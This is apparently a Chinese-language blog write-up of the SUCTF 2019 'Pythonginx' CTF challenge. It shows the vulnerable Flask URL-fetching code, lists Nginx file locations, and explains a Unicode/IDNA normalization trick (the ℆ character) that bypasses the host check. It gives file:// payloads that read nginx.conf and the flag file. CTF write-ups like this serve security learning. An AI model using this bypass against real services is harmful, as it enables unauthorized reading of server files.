[SUCTF 2019]Pythonginx

[SUCTF 2019]Pythonginx

知识点

1.black hat

2.出题人笔记

3.Ngnix重要文件位置

▷配置文件存放目录:/etc/nginx

▶主配置文件:/etc/nginx/conf/nginx.conf 或 /etc/nginx/nginx.conf

▷管理脚本:/usr/lib64/systemd/system/nginx.service

▶模块:/usr/lisb64/nginx/modules

▷应用程序:/usr/sbin/nginx

▶程序默认存放位置:/usr/share/nginx/html

▷日志默认存放位置:/var/log/nginx

题解

看源码

        @app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
    url = request.args.get("url")
    host = parse.urlparse(url).hostname
    if host == 'suctf.cc':
        return "我扌 your problem? 111"
    parts = list(urlsplit(url))
    host = parts[1]
    if host == 'suctf.cc':
        return "我扌 your problem? 222 " + host
    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1] = '.'.join(newhost)
    #去掉 url 中的空格
    finalUrl = urlunsplit(parts).split(' ')[0]
    host = parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return urllib.request.urlopen(finalUrl).read()
    else:
        return "我扌 your problem? 333"
    </code>
    <!-- Dont worry about the suctf.cc. Go on! -->
    <!-- Do you know the nginx? -->

需要利用第三个if读取flag,绕过前两个if需要利用black hat 2019中提到的一个问题

blackhat

所以本题的解题思路是:

1.url部分要包括suctf.cc

2.Nginx配置目录/usr/local/nginx/conf/nginx.conf

用 ℆ 这个字符去读取 /user目录下的敏感文件

payload:file://suctf.c℆sr/local/nginx/conf/nginx.conf

找到flag位置在/usr/fffffflag

payload:file://suctf.c℆sr/fffffflag

得到flag。

posted @ 2020-07-14 10:29  Rabbittt  阅读(222)  评论(0编辑  收藏  举报